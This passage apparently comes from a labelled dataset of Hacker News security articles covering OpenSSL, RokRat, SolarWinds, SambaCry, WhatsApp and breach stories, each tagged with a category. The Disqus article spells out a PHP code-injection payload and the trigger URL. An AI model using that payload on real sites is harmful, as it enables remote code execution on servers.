The Padding Oracle flaw (exploit code) was discovered by Juraj Somorovsky using his own developed tool called TLS-Attacker, which allows developers to test their TLS servers with specific TLS messages.

The ""OpenSSL Padding Oracle in AES-NI CBC MAC Check"" exists in the cryptographic library since 2013, when OpenSSL patched another Padding Oracle flaw called Lucky 13 that compromised TLS cryptography.
""What we have learned from these bugs is that patching crypto libraries is a critical task and should be validated with positive as well as negative tests. For example, after rewriting parts of the CBC padding code, the TLS server must be tested for correct behaviour with invalid padding messages. I hope TLS-Attacker can once be used for such a task."" Juraj said in a blog post.
The second high-severity bug, CVE-2016-2108, is a memory corruption flaw in the OpenSSL ASN.1standard for encoding, transmitting and decoding data that allows attackers to execute malicious code on the web server.

The vulnerability only affects OpenSSL versions prior to April 2015. Although the issue was fixed back in June 2015, the security impact of the update has now come to light.

According to OpenSSL, this flaw can potentially be exploited using maliciously-crafted digital certificates signed by trusted certificate authorities.

OpenSSL also patched four other low-severity vulnerabilities including two overflow vulnerabilities, one memory exhaustion issue and one low severity bug that resulted in arbitrary stack data being returned in the buffer.

You can find more technical details about the critical OpenSSL vulnerabilities on CloudFlare.

The security updates have been released for both OpenSSL versions 1.0.1 and 1.0.2 and administrators are advised to apply patches as soon as possible.

",Vulnerability
ALERT: North Korean hackers targeting South Korea with RokRat Trojan,https://thehackernews.com/2021/01/alert-north-korean-hackers-targeting.html,"A North Korean hacking group has been found deploying the RokRat Trojan in a new spear-phishing campaign targeting the South Korean government.
Attributing the attack to APT37 (aka Starcruft, Ricochet Chollima, or Reaper), Malwarebytes said it identified a malicious document last December that, when opened, executes a macro in memory to install the aforementioned remote access tool (RAT).
""The file contains an embedded macro that uses a VBA self decoding technique to decode itself within the memory spaces of Microsoft Office without writing to the disk. It then embeds a variant of the RokRat into Notepad,"" the researchers noted in a Wednesday analysis.
Believed to be active at least since 2012, the Reaper APT is known for its focus on public and private entities primarily in South Korea, such as chemicals, electronics, manufacturing, aerospace, automotive, and healthcare entities. Since then, their victimology has expanded beyond the Korean peninsula to include Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.
While the previous attacks leveraged malware-laced Hangul Word Processor (HWP) documents, the use of self-decoding VBA Office files to deliver RokRat suggests a change in tactics for APT37, the researchers said.
The Microsoft VBA document uploaded to VirusTotal in December purported to be a meeting request dated January 23, 2020, implying that attacks took place almost a year ago.
Chief among the responsibilities of the macro embedded in the file is to inject shellcode to a Notepad.exe process that downloads the RokRat payload in encrypted format from a Google Drive URL.
RokRat — first publicly documented by Cisco Talos in 2017 — is a RAT of choice for APT37, with the group using it for a number of campaigns since 2016. A Windows-based backdoor distributed via trojanized documents, it's capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Box, Dropbox, and Yandex.
In 2019, the cloud service-based RAT gained additional features to steal Bluetooth device information as part of an intelligence-gathering effort directed against investment and trading companies in Vietnam and Russia and a diplomatic agency in Hong Kong.
""The case we analyzed is one of the few where they did not use HWP files as their phish documents and instead used Microsoft Office documents weaponized with a self decode macro,"" the researchers concluded. ""That technique is a clever choice that can bypass several static detection mechanisms and hide the main intent of a malicious document.""

",Cyber_Attack
Disqus Wordpress Plugin Flaw Leaves Millions of Blogs Vulnerable to Hackers,https://thehackernews.com/2014/06/disqus-wordpress-plugin-flaw-leaves.html,"A Remote code execution (RCE) vulnerability has been discovered in the comment and discussion service, Disqus plugin for the most popular Blogging Platform Wordpress.

While there are more than 70 million websites on the Internet currently running WordPress, about 1.3 million of them use the 'Disqus Comment System' Plugin, making it one of the popular plugins of Wordpress for web comments and discussions.

The security team at the security firm Sucuri discovered a critical Remote Code Execution (RCE) flaw while analyzing some custom JSON parser of the Disqus plugin and found that the variable parsing function could allow anyone to execute commands on the server using insecurely coded PHP eval() function.


WHO ARE VULNERABLE
The Remote Code Execution (RCE) Vulnerability could be triggered by a remote attacker, only if it is using following application versions on the server/website.
PHP version 5.1.6 or earlier
WordPress 3.1.4 or earlier
Wordpress Plugin Disqus Comment System 2.75 or earlier
HOW TO EXPLOIT DISQUS
For successful exploitation an attacker can push its custom payload, for example {${phpinfo()}} as a comment on the targeted post/page and then he only need to open the following 'Comment Synchronization' url with the targeted post ID in order to take advantage of the vulnerability.
https://somesite.com/?cf_action=sync_comments&post_id=TARGET_POST_ID
""While the flaw itself is very dangerous"" reads the blog post. ""That's it, looks simple right? So if you are using an outdated version of WordPress/PHP, you need to update Disqus asap.""

At the beginning of the month, the same security researchers' team at Sucuri, discovered a critical vulnerability in the content management platform, All in One SEO Pack, a plugin that optimizes WordPress for search engines, which potentially left millions of websites vulnerable to the attackers.

HOW TO PATCH VULNERABILITY
If left unpatched, the flaw could allow any potential attacker to do anything he wants with a vulnerable website. So, it is highly recommended to those using an outdated versions of WordPress, Disqus Comment Plugin 2.76 and PHP to upgrade to the latest version as soon as possible.

WordPress users should be able to update their Disqus plugin by signing into their WordPress administrative panel > Disqus Comment System plugin > drop-down at the top or bottom of the page > click ""Update."" Users can also manually update the plugin by overwriting the plugin files directly into the WordPress' plugin directory.

Also read: Zero-Day TimThumb WebShot Vulnerability leaves Thousands of Wordpress Blogs at Risk.

",Vulnerability
HP LaserJet Security flaw allows remote data access,https://thehackernews.com/2013/03/hp-laserjet-security-flaw-allows-remote.html,"A critical vulnerability discovered in certain LaserJet Pro printers that could give remote attackers access to sensitive data. Homeland Security's Computer Emergency Response Team recently issued a vulnerability note warning that HP LaserJet Professional printers contain a telnet debug shell which could allow a remote attacker to gain unauthorized access to data.
This flaw was discovered by a Germany security expert, Christoph von Wittich. He detected the vulnerability during a routine network scan of his company's corporate network.

He said the vulnerability could also be used for a denial-of-service attack. ""As long as the printer is not connected to the Internet, this vulnerability should not cause much trouble for the end user,"".

Marked as CVE-2012-5215 (VU#782451, SSRT101078), vulnerability affected 12 printer models including HP LaserJet Pro P1102w, P1102w, P1606dn, M1212nf MFP, M1213nf MFP, M1214nfh MFP, M1216nfh Multifunction Printer, M1217nfw Multifunction Printer, M1218nfs MFP, M1219nf MFP, CP1025nw, and CP1025nw.

Users are advised to download updated firmware for printers impacted by the bug from the company's Support Center site.

",Data_Breaches
Two Million Cars Using Wireless Insurance Dongle Vulnerable to Hacking,https://thehackernews.com/2015/01/progressive-snapshot-device-hacking-car.html,"2015 will be a year more smarter than 2014 with smarter mobile devices, smarter home appliances, and yes Smarter Automobiles. Nowadays, there are a number of automobiles companies offering vehicles that run on a mostly drive-by-wire system, meaning that a majority of the controls are electronically controlled, from instrument cluster to steering, brakes, and accelerator as well.

No doubt these systems makes your driving experience better, but at the same time they also increase the risk of getting hacked.

According to a recent research, an electronic dongle used to plugged into the on-board diagnostic port of more than two million cars and trucks contains few security weaknesses that makes them vulnerable to wireless attacks, resulting in taking control of the entire vehicle.

Since 2008, US-based Progressive Insurance has used the SnapShot device in more than two million vehicles. The little device monitors and tracks users' driving behavior by collecting vehicle location and speed records, in order to help determine if they qualify for lower rates.

However, the security researcher Corey Thuen has revealed that the dongle is insecure and performs no validation or signing of firmware updates. It has no secure boot mechanism, no cellular communications authentication, and uses no secure communications protocols, possibly putting the lives of people inside the vehicle in danger.
""The firmware running on the dongle is minimal and insecure. It does no validation or signing of firmware updates, no secure boot, no cellular authentication, no secure communications or encryption, no data execution prevention or attack mitigation technologies ... basically it uses no security technologies whatsoever,"" Thuen told Forbes.
SnapShot plugs into the OBDII port of Thuen's 2013 Toyota Tundra pickup truck. Thuen said that an attack on the adjacent modem, which handles the connection between Progressive's servers and the dongle, was possible too, which could allow a potentially deadly takeover of the car's acceleration and braking.
""What happens if Progressive's servers are compromised? An attacker who controls that dongle has full control of the vehicle,"" he added.

""A skilled attacker could almost certainly compromise such dongles to gain remote control of a vehicle, or even an entire fleet of vehicles. Once compromised, the consequences range from privacy data loss to life and limb.""
Mr. Thuen presented the detailed analysis of the research last week at the S4x15 Conference in Miami. The research highlighted the minimal protections included with many widely used car computer systems. While he focused on dongles from Progressive, he also warned that devices from other insurance companies could also be at risk.

Progressive officials has said they were confident SnapShot was secure and were not informed about the flaws by Mr Theun before he revealed them at a computer security conference. However the company said it welcomes input on identifying security weaknesses so that they could evaluate it and make any necessary improvements.

",Vulnerability
23-Year-old Russian Hacker confessed to be original author of BlackPOS Malware,https://thehackernews.com/2014/01/23-year-old-russian-hacker-confessed-to.html,"In the previous reports of Cyber Intelligence firm 'IntelCrawler' named Sergey Tarasov, a 17-year-old teenager behind the nickname ""ree[4]"", as the developer of BlackPOS malware.

BlackPOS also known as ""reedum"" or 'Kaptoxa' is an effective crimeware kit, used in the massive heist of possibly 110 million consumers' Credit-Debit cards, and personal information from the TARGET.

Later Researchers's investigation revealed that the original coder of BlackPOS Malware was actually a 23-year-old young hacker named Rinat Shabayev and the teen, Sergey Taraspov is the incharge for the technical support department.

In an interview with Russian channel 'LifeNews', Rinat Shabayev admitted that he had developed the BlackPOS crimeware kit. He clarified that the program developed by him was not meant for any kind of data theft, instead the program was written for the security testing.

He developed the malware with the help of another programmer with anonymous identity, whom he had met online. His original plan was just to sell the exploit, not to use it for malicious intent by himself.

His friend took the readymate codes from him and added more features to it. In addition to this information, he also confessed that the exploit can be used for malicious purposes too.

Researchers at IntelCrawler say that the same malware may have also been involved in the Neiman Marcus attack too.
Whatever be the intention of the programmer, but now more than 110 million people are suffering credit card theft because of his software. Even after knowing that the malware has ability to compile a massive financial theft, his justifications are not enough to be innocent.

",Data_Breaches
"HTC Android Vulnerability - Exposes Phone numbers, Gps, SMS, Emails etc",https://thehackernews.com/2011/10/htc-android-vulnerability-exposes-phone.html,"HTC Android Vulnerability - Exposes Phone numbers, Gps, SMS, Emails etc


If you are running a HTC Android smartphone with the latest updates applied, chances are your personal data is freely accessible to any app you have given network access to in the form of full Internet permissions.This vulnerability isn't a backdoor or some inherent flaw in Android, it is instead HTC failing to lock down its data sharing policies used in the Tell HTC software users have to allow or disallow on their phone. The problem being, not only is your data vulnerable when Tell HTC is turned on, it's just as vulnerable when it is turned off.

In brief, any app on affected devices that requests a single android.permission.INTERNET (which is normal for any app that connects to the web or shows ads) can get its hands on:
the list of user accounts, including email addresses and sync status for each
last known network and GPS locations and a limited previous history of locations
phone numbers from the phone log
SMS data, including phone numbers and encoded text (not sure yet if it's possible to decode it, but very likely)
system logs (both kernel/dmesg and app/logcat), which includes everything your running apps do and is likely to include email addresses, phone numbers, and other private info
But that's not all. After looking at the huge amount of data (the log file was 3.5MB on my EVO 3D) that is vulnerable to apps exploiting this vulnerability all day, I found the following is also exposed:
active notifications in the notification bar, including notification text
build number, bootloader version, radio version, kernel version
network info, including IP addresses
full memory info
CPU info
file system info and free space on each partition
running processes
current snapshot/stacktrace of not only every running process but every running thread
list of installed apps, including permissions used, user ids, versions, and more
system properties/variables
currently active broadcast listeners and history of past broadcasts received
currently active content providers
battery info and status, including charging/wake lock history
and more
Quite simply put these are HUGE vulnerabilities that people need to be aware of. This problem is only effecting stock roms so if you are rooted you have no cause for alarm.

",Vulnerability
Researchers Discover Raindrop — 4th Malware Linked to the SolarWinds Attack,https://thehackernews.com/2021/01/researchers-discover-raindrop-4th.html,"Cybersecurity researchers have unearthed a fourth new malware strain—designed to spread the malware onto other computers in victims' networks—which was deployed as part of the SolarWinds supply chain attack disclosed late last year.
Dubbed ""Raindrop"" by Broadcom-owned Symantec, the malware joins the likes of other malicious implants such as Sunspot, Sunburst (or Solorigate), and Teardrop that were stealthily delivered to enterprise networks.
The latest finding comes amid a continued probe into the breach, suspected to be of Russian origin, that has claimed a number of U.S. government agencies and private sector companies.
""The discovery of Raindrop is a significant step in our investigation of the SolarWinds attacks as it provides further insights into post-compromise activity at organizations of interest to the attackers,"" Symantec researchers said.
The cybersecurity firm said it discovered only four samples of Raindrop to date that were used to deliver the Cobalt Strike Beacon — an in-memory backdoor capable of command execution, keylogging, file transfer, privilege escalation, port scanning, and lateral movement.
Symantec, last month, had uncovered more than 2,000 systems belonging to 100 customers that received the trojanized SolarWinds Orion updates, with select targets infected with a second-stage payload called Teardrop that's also used to install the Cobalt Strike Beacon.
""The way Teardrop is built, it could have dropped anything; in this case, it dropped Beacon, a payload included with Cobalt Strike,"" Check Point researchers said, noting that it was possibly done to ""make attribution harder.""
""While Teardrop was used on computers that had been infected by the original Sunburst Trojan, Raindrop appeared elsewhere on the network, being used by the attackers to move laterally and deploy payloads on other computers.""
It's worth noting that the attackers used the Sunspot malware exclusively against SolarWinds in September 2019 to compromise its build environment and inject the Sunburst Trojan into its Orion network monitoring platform. The tainted software was then delivered to 18,000 of the company's customers.
Microsoft's analysis of the Solorigate modus operandi last month found that the operators carefully chose their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop based on intel amassed during an initial reconnaissance of the target environment for high-value accounts and assets.
Now Raindrop (""bproxy.dll"") joins the mix. While both Teardrop and Raindrop act as a dropper for the Cobalt Strike Beacon, they also differ in a number of ways.
For a start, Teardrop is delivered directly by the initial Sunburst backdoor, whereas Raindrop seems to have been deployed with the goal of spreading across the victims' network. What's more, the malware shows up on networks where at least one computer has already been compromised by Sunburst, with no indication that Sunburst triggered its installation.
The two malware strains also use different packers and Cobalt Strike configurations.
Symantec did not identify the organizations impacted by Raindrop but said the samples were found in a victim system that was running computer access and management software and on a machine that was found to execute PowerShell commands to infect additional computers in the organization with the same malware.

",Cyber_Attack
"New Cryptocurrency Mining Malware Infected Over 500,000 PCs in Just Few Hours",https://thehackernews.com/2018/03/cryptocurrency-mining-malware.html,"Two days ago, Microsoft encountered a rapidly spreading cryptocurrency-mining malware that infected almost 500,000 computers within just 12 hours and successfully blocked it to a large extent.

Dubbed Dofoil, aka Smoke Loader, the malware was found dropping a cryptocurrency miner program as payload on infected Windows computers that mines Electroneum coins, yet another cryptocurrency, for attackers using victims' CPUs.

On March 6, Windows Defender suddenly detected more than 80,000 instances of several variants of Dofoil that raised the alarm at Microsoft Windows Defender research department, and within the next 12 hours, over 400,000 instances were recorded.

The research team found that all these instances, rapidly spreading across Russia, Turkey, and Ukraine, were carrying a digital coin-mining payload, which masqueraded as a legitimate Windows binary to evade detection.

However, Microsoft has not mentioned how these instances were delivered to such a massive audience at the first place in this short period.

Dofoil uses a customized mining application that can mine different cryptocurrencies, but in this campaign, the malware was programmed to mine Electroneum coins only.

According to the researchers, Dofoil trojan uses an old code injection technique called 'process hollowing' that that involves spawning a new instance of a legitimate process with a malicious one so that the second code runs instead of the original, tricking process monitoring tools and antivirus into believing that the original process is running.

""The hollowed explorer.exe process then spins up a second malicious instance, which drops and runs a coin mining malware masquerading as a legitimate Windows binary, wuauclt.exe.""

To stay persistence on an infected system for a long time to mine Electroneum coins using stolen computer resources, Dofoil trojan modifies the Windows registry.

""The hollowed explorer.exe process creates a copy of the original malware in the Roaming AppData folder and renames it to ditereah.exe,"" the researchers say. ""It then creates a registry key or modifies an existing one to point to the newly created malware copy. In the sample we analyzed, the malware modified the OneDrive Run key.""

Dofoil also connects to a remote command and control (C&C) server hosted on decentralized Namecoin network infrastructure and listens for new commands, including the installation of additional malware.

Microsoft says behavior monitoring and Artificial intelligence based machine learning techniques used by Windows Defender Antivirus have played an important role to detect and block this massive malware campaign.

",Malware
Security updates for available for Adobe Flash Player and ColdFusion vulnerabilities,https://thehackernews.com/2013/11/Adobe-Flash-ColdFusion-vulnerabilities-exploit-Hacker-News.html,"Adobe released critical security patches for its ColdFusion web application server and Adobe Flash Player for Mac, Windows and Linux. Adobe AIR and the AIR SDK and Compiler are also being updated.

These updates address vulnerabilities that could cause a crash and potentially allow an attacker to take control of the affected system, dubbed as CVE-2013-5329, CVE-2013-5330.
The following software versions are affected and should be updated as soon as possible:
Adobe Flash Player 11.9.900.117 and earlier versions for Mac and Windows
Adobe Flash Player 11.2.202.310 and earlier versions for Linux
Adobe AIR 3.9.0.1030 and earlier versions for Windows and Macintosh
Adobe has also released a security hotfix for ColdFusion versions 10, 9.0.2, 9.0.1 and 9.0 for Windows, Macintosh and Linux, addresses two vulnerabilities:
Cross-site scripting (XSS) vulnerability (CVE-2013-5326)
Allow unauthorized remote read access (CVE-2013-5328)
Both products have been patched multiple times this year. In January four critical vulnerabilities (CVE-2013-0625, CVE-2013-0629, CVE-2013-0631 and CVE-2013-0632) were exploited by hackers to access and steal sensitive data stored on the servers.

In May, Hackers used these flaws to breach Washington state's Administrative Office of the Courts. In that hack hackers accessed as many as 160,000 Social Security numbers and up to one million drivers license number.

HotFix (APSB13-26) for Adobe Flash Player and (APSB13-27) for Adobe ColdFusion are available for Download. Install the appropriate Adobe patches immediately, or let the Adobe's updater do it for you.

",Vulnerability
New Zoom Screen-Sharing Bug Lets Other Users Access Restricted Apps,https://thehackernews.com/2021/03/new-zoom-screen-sharing-bug-lets-other.html,"A newly discovered glitch in Zoom's screen sharing feature can accidentally leak sensitive information to other attendees in a call, according to the latest findings.
Tracked as CVE-2021-28133, the unpatched security vulnerability makes it possible to reveal contents of applications that are not shared, but only briefly, thereby making it harder to exploit it in the wild.
It's worth pointing out that the screen sharing functionality in Zoom lets users share an entire desktop or phone screen, or limit sharing to one or more specific applications, or a portion of a screen. The issue stems from the fact that a second application that's overlayed on top of an already shared application can reveal its contents for a short period of time.
""When a Zoom user shares a specific application window via the 'share screen' functionality, other meeting participants can briefly see contents of other application windows which were not explicitly shared,"" SySS researchers Michael Strametz and Matthias Deeg noted. ""The contents of not shared application windows can, for instance, be seen for a short period of time by other users when those windows overlay the shared application window and get into focus.""
The flaw, which was tested on versions 5.4.3 and 5.5.4 across both Windows and Linux clients, is said to have been disclosed to the videoconferencing company on December 2, 2020. The lack of a fix even after three months could be attributed in part to the difficulty in exploiting the vulnerability.
But nonetheless, this could have serious consequences depending on the nature of the inadvertently shared data, the researchers warned, adding a malicious participant of a Zoom meeting can take advantage of the weakness by making use of a screen capture tool to record the meeting and playback the recording to view the private information.
When reached for a response, a Zoom spokesperson said it's working to address the issue. ""Zoom takes all reports of security vulnerabilities seriously,"" the company told The Hacker News via email. ""We are aware of this issue, and are working to resolve it.""

",Data_Breaches
#Blackhat Conference : Square Mobile Gadget allows to Hack Credit Cards,https://thehackernews.com/2011/08/blackhat-conference-square-mobile.html,"#Blackhat Conference : Square Mobile Gadget allows to Hack Credit Cards
Researchers at the Black Hat security conference today revealed two ways the Square payment system, which turns any iPhone, iPad or Android into a point-of-sale credit card processor, could be used for fraud. Square a mobile gadget that enables Android, iPhone, iPad, and iPod touch users to accept credit card payments can be hacked to steal credit card data, with very little technical hardware required.

Adam Laurie and Zac Franken, directors of Aperture Labs, discovered that due to a lack of encryption in the current Square app and free dongle for swiping cards, the mobile payment system can be used to steal credit card information, without even having the physical credit card.Square works by converting credit card data into an audio file that is then transmitted to the credit card issuer for authorization.

""The dongle is a skimmer. It turns any iPhone into a skimmer,"" Laurie said. To clone a card, ""now you need less technical hardware to do it and no technical skills at all.""

Laurie and Franken's hack proves that the Square app cannot distinguish between a true swipe on the dongle and an audio file fed to the app without swiping. In theory, the team could buy stolen credit card data in underground online markets and start up a practically skill-free criminal shop.
The researchers, who are based in the United Kingdom, needed to have a U.S. bank account to test the system.
[Source]

",Vulnerability
Linux Kernel Gets Patch For Years-Old Serious Vulnerability,https://thehackernews.com/2017/03/linux-kernel-vulnerability.html,"Another dangerous vulnerability has been discovered in Linux kernel that dates back to 2009 and affects a large number of Linux distros, including Red Hat, Debian, Fedora, OpenSUSE, and Ubuntu.

The latest Linux kernel flaw (CVE-2017-2636), which existed in the Linux kernel for the past seven years, allows a local unprivileged user to gain root privileges on affected systems or cause a denial of service (system crash).

Positive Technologies researcher Alexander Popov discovered a race condition issue in the N_HLDC Linux kernel driver – which is responsible for dealing with High-Level Data Link Control (HDLC) data – that leads to double-free vulnerability.

""Double Free"" is one of the most common memory corruption bug that occurs when the application releases same memory location twice by calling the free() function on the same allocated memory.

An unauthenticated attacker may leverage this vulnerability to inject and execute arbitrary code in the security context of currently logged in user.

The vulnerability affects the majority of popular Linux distributions including Red Hat Enterprise Linux 6, 7, Fedora, SUSE, Debian, and Ubuntu.

Since the flaw dates back to June 2009, Linux enterprise servers and devices have been vulnerable for a long time, but according to Positive Technologies, it is hard to say whether this vulnerability has actively been exploited in the wild or not.
""The vulnerability is old, so it is widespread across Linux workstations and servers,"" says Popov. ""To automatically load the flawed module, an attacker needs only unprivileged user rights. Additionally, the exploit doesn't require any special hardware.""
The researcher detected the vulnerability during system calls testing with the syzkaller fuzzer, which is a security code auditing software developed by Google.

Popov then reported the flaw to kernel.org on February 28, 2017, along with the exploit prototype, as well as provided the patch to fix the issue.

The vulnerability has already been patched in the Linux kernel, and the security updates along with the vulnerability details were published on March 7.

So, users are encouraged to install the latest security updates as soon as possible, but if unable to apply the patch, the researcher advised blocking the flawed module (n_hdlc) manually to safeguard enterprise as well as home use of the operating system.

",Vulnerability
Just a GIF Image Could Have Hacked Your Android Phone Using WhatsApp,https://thehackernews.com/2019/10/whatsapp-rce-vulnerability.html,"A picture is worth a thousand words, but a GIF is worth a thousand pictures.

Today, the short looping clips, GIFs are everywhere—on your social media, on your message boards, on your chats, helping users perfectly express their emotions, making people laugh, and reliving a highlight.

But what if an innocent-looking GIF greeting with Good morning, Happy Birthday, or Merry Christmas message hacks your smartphone?

Well, not a theoretical idea anymore.

WhatsApp has recently patched a critical security vulnerability in its app for Android, which remained unpatched for at least 3 months after being discovered, and if exploited, could have allowed remote hackers to compromise Android devices and potentially steal files and chat messages.

WhatsApp Remote Code Execution Vulnerability

The vulnerability, tracked as CVE-2019-11932, is a double-free memory corruption bug that doesn't actually reside in the WhatsApp code itself, but in an open-source GIF image parsing library that WhatsApp uses.


Discovered by Vietnamese security researcher Pham Hong Nhat in May this year, the issue successfully leads to remote code execution attacks, enabling attackers to execute arbitrary code on targeted devices in the context of WhatsApp with the permissions the app has on the device.

""The payload is executed under WhatsApp context. Therefore it has the permission to read the SDCard and access the WhatsApp message database,"" the researcher told The Hacker News in an email interview.

""Malicious code will have all the permissions that WhatsApp has, including recording audio, accessing the camera, accessing the file system, as well as WhatsApp's sandbox storage that includes protected chat database and so on…""

How Does WhatsApp RCE Vulnerability Work?

WhatsApp uses the parsing library in question to generate a preview for GIF files when users open their device gallery before sending any media file to their friends or family.

Thus, to be noted, the vulnerability does not get triggered by sending a malicious GIF file to a victim; instead it gets executed when the victim itself simply opens the WhatsApp Gallery Picker while trying to send any media file to someone.


To exploit this issue, all an attacker needs to do is send a specially crafted malicious GIF file to a targeted Android user via any online communication channel and wait for the user to just open the image gallery in WhatsApp.

However, if attackers want to send the GIF file to victims via any messaging platform like WhatsApp or Messenger, they need to send it as a document file rather than media file attachments, because image compression used by these services distorts the malicious payload hidden in images.

As shown in a proof-of-concept video demonstration the researcher shared with The Hacker News, the vulnerability can also be exploited to simply pop-up a reverse shell remotely from the hacked device.

Vulnerable Apps, Devices and Available Patches

The issue affects WhatsApp versions 2.19.230 and older versions running on Android 8.1 and 9.0, but does not work for Android 8.0 and below.

""In the older Android versions, double-free could still be triggered. However, because of the malloc calls by the system after the double-free, the app just crashes before reaching to the point that we could control the PC register,"" the researcher writes.

Nhat told The Hacker News that he reported the vulnerability to Facebook, who owns WhatsApp, in late July this year, and the company included a security patch in WhatsApp version 2.19.244, released in September.

Therefore, to protect yourself against any exploit surrounding this vulnerability, you are recommended to update your WhatsApp to the latest version from the Google Play Store as soon as possible.

Besides this, since the flaw resides in an open-source library, it is also possible that any other Android app using the same affected library could also be vulnerable to similar attacks.

The developer of the affected GIF library, called Android GIF Drawable, has also released version 1.2.18 of the software to patch the double-free vulnerability.

WhatsApp for iOS is not affected by this vulnerability.

",Vulnerability
"Warning! Hackers Started Using ""SambaCry Flaw"" to Hack Linux Systems",https://thehackernews.com/2017/06/linux-samba-vulnerability.html,"Remember SambaCry?

Two weeks ago we reported about a 7-year-old critical remote code execution vulnerability in Samba networking software (re-implementation of SMB networking protocol) that allows a remote hacker to take full control of a vulnerable Linux and Unix machines.

To know more about the SambaCry vulnerability (CVE-2017-7494) and how it works, you can read our previous article.

At that time, nearly 485,000 Samba-enabled computers were found to be exposed on the Internet, and researchers predicted that the SambaCry-based attacks also have potential to spread just like WannaCry ransomware widely.

The prediction came out to be quite accurate, as honeypots set up by the team of researchers from Kaspersky Lab have captured a malware campaign that is exploiting SambaCry vulnerability to infect Linux computers with cryptocurrency mining software.

Another security researcher, Omri Ben Bassat, independently discovered the same campaign and named it ""EternalMiner.""

According to the researchers, an unknown group of hackers has started hijacking Linux PCs just a week after the Samba flaw was disclosed publicly and installing an upgraded version of ""CPUminer,"" a cryptocurrency mining software that mines ""Monero"" digital currency.

After compromising the vulnerable machines using SambaCry vulnerability, attackers execute two payloads on the targeted systems:
INAebsGB.so — A reverse-shell that provides remote access to the attackers.
cblRWuoCc.so — A backdoor that includes cryptocurrency mining utilities – CPUminer.
""Through the reverse-shell left in the system, the attackers can change the configuration of a miner already running or infect the victim's computer with other types of malware,"" Kaspersky researchers say.
Mining cryptocurrencies can be a costly investment as it requires an enormous amount of computing power, but such cryptocurrency-mining malware makes it easier for cybercriminals by allowing them to utilise computing resources of compromised systems to make the profit.

If you have been following The Hacker News regularly, you must be aware of Adylkuzz, a cryptocurrency-mining malware that was using Windows SMB vulnerability at least two weeks before the outbreak of WannaCry ransomware attacks.

The Adylkuzz malware was also mining Monero by utilizing the enormous amount of computing resources of the compromised Windows systems.

The attackers behind SambaCry-based CPUminer attack have already earned 98 XMR, which worth 5,380 today and this figure is continuously rising with the increase in the number of compromised Linux systems.
""During the first day they gained about 1 XMR (about $55 according to the currency exchange rate for 08.06.2017), but during the last week they gained about 5 XMR per day,"" the researchers say.
The maintainers of Samba has already patched the issue in their new Samba versions 4.6.4/4.5.10/4.4.14, and are urging those using a vulnerable version of Samba to install the patch as soon as possible.

",Malware
Hackers Targeting Servers Running Database Services for Mining Cryptocurrency,https://thehackernews.com/2017/12/chinese-hacking-databases.html,"Security researchers have discovered multiple attack campaigns conducted by an established Chinese criminal group that operates worldwide, targeting database servers for mining cryptocurrencies, exfiltrating sensitive data and building a DDoS botnet.

The researchers from security firm GuardiCore Labs have analyzed thousands of attacks launched in recent months and identified at least three attack variants—Hex, Hanako, and Taylor—targeting different MS SQL and MySQL servers for both Windows and Linux.

The goals of all the three variants are different—Hex installs cryptocurrency miners and remote access trojans (RATs) on infected machines, Taylor installs a keylogger and a backdoor, and Hanako uses infected devices to build a DDoS botnet.

So far, researchers have recorded hundreds of Hex and Hanako attacks and tens of thousands of Taylor attacks each month and found that most compromised machines are based in China, and some in Thailand, the United States, Japan and others.

To gain unauthorized access to the targeted database servers, the attackers use brute force attacks and then run a series of predefined SQL commands to gain persistent access and evade audit logs.

What's interesting? To launch the attacks against database servers and serve malicious files, attackers use a network of already compromised systems, making their attack infrastructure modular and preventing takedown of their malicious activities.
For achieving persistent access to the victim's database, all three variants (Hex, Hanko, and Taylor) create backdoor users in the database and open the Remote Desktop port, allowing attackers to remotely download and install their next stage attack—a cryptocurrency miner, Remote Access Trojan (RAT) or a DDoS bot.
""Later in the attack, the attacker stops or disables a variety of anti-virus and monitoring applications by running shell commands,"" the researchers wrote in their blog post published Tuesday.
""The anti-virus targeted is a mixture of well-known products such as Avira and Panda Security and niche software such as Quick Heal and BullGuard.""
Finally, to cover their tracks, the attackers deletes any unnecessary Windows registry, file, and folder entry using pre-defined batch files and Visual Basic scripts.

Administrators should check for the existence of the following usernames in their database or systems in order to identify if they have been compromised by the Chinese criminal hackers.
hanako
kisadminnew1
401hk$
Guest
Huazhongdiguo110

To prevent compromise of your systems, researchers advised administrators to always follow the databases hardening guides (provided by both MySQL and Microsoft), rather than just having a strong password for your databases.
""While defending against this type of attacks may sound easy or trivial—'patch your servers and use strong passwords'—we know that 'in real life' things are much more complicated. The best way to minimize your exposure to campaigns targeting databases is to control the machines that have access to the database,"" the researchers advised.
""Routinely review the list of machines that have access to your databases, keep this list to a minimum and pay special attention to machines that are accessible directly from the internet. Every connection attempt from an IP or domain that does not belong to this list should be blocked and investigated.""

",Cyber_Attack
"Airbus Suffers Data Breach, Some Employees' Data Exposed",https://thehackernews.com/2019/01/airbus-data-breach.html,"European airplane maker Airbus admitted yesterday a data breach of its ""Commercial Aircraft business"" information systems that allowed intruders to gain access to some of its employees' personal information.

Though the company did not elaborate on the nature of the hack, it claimed that the security breach did not affect its commercial operations. So, there's no impact on aircraft production.

Airbus confirmed that the attackers unauthorized accessed some data earlier this month, which the plane manufacturer claimed was ""mostly professional contact and IT identification details of some Airbus employees in Europe.""

""Investigations are ongoing to understand if any specific data was targeted; however we do know some personal data was accessed,"" Airbus said in its press release published on Wednesday.

After detecting the security breach, the plan manufacturer started an investigation to determine the origin of the hack and to understand the full scope of the data breach and if any specific data was targeted.

The company has begun taking ""immediate and appropriate actions to reinforce existing security measures,"" which were not enough to keep the hackers out of their systems, ""and to mitigate its potential impact"" so that it can prevent similar incidents from happening in the future.

The company has also instructed its employees to ""take all necessary precautions going forward,"" to strengthen their security defenses.

Airbus also said it was in contact with the relevant regulatory authorities and the data protection authorities pursuant to the European Union's new GDPR (General Data Protection Regulation) rules.

Airbus is the world's second-largest manufacturers of commercial airplanes, after Boeing which was also hit by a cyber attack (a variant of the infamous WannaCry ransomware) in March last year that ""affected a small number of systems"" with no impact on production.
",Data_Breaches
Timehop Hacked — Hackers Stole Personal Data Of All 21 Million Users,https://thehackernews.com/2018/07/timehop-data-breach.html,"And the hacks just keep on coming.

Timehop social media app has been hit by a major data breach on July 4th that compromised the personal data of its more than 21 million users.

Timehop is a simple social media app that collects your old photos and posts from your iPhone, Facebook, Instagram, Twitter and Foursquare and acts as a digital time machine to help you find—what you were doing on this very day exactly a year ago.

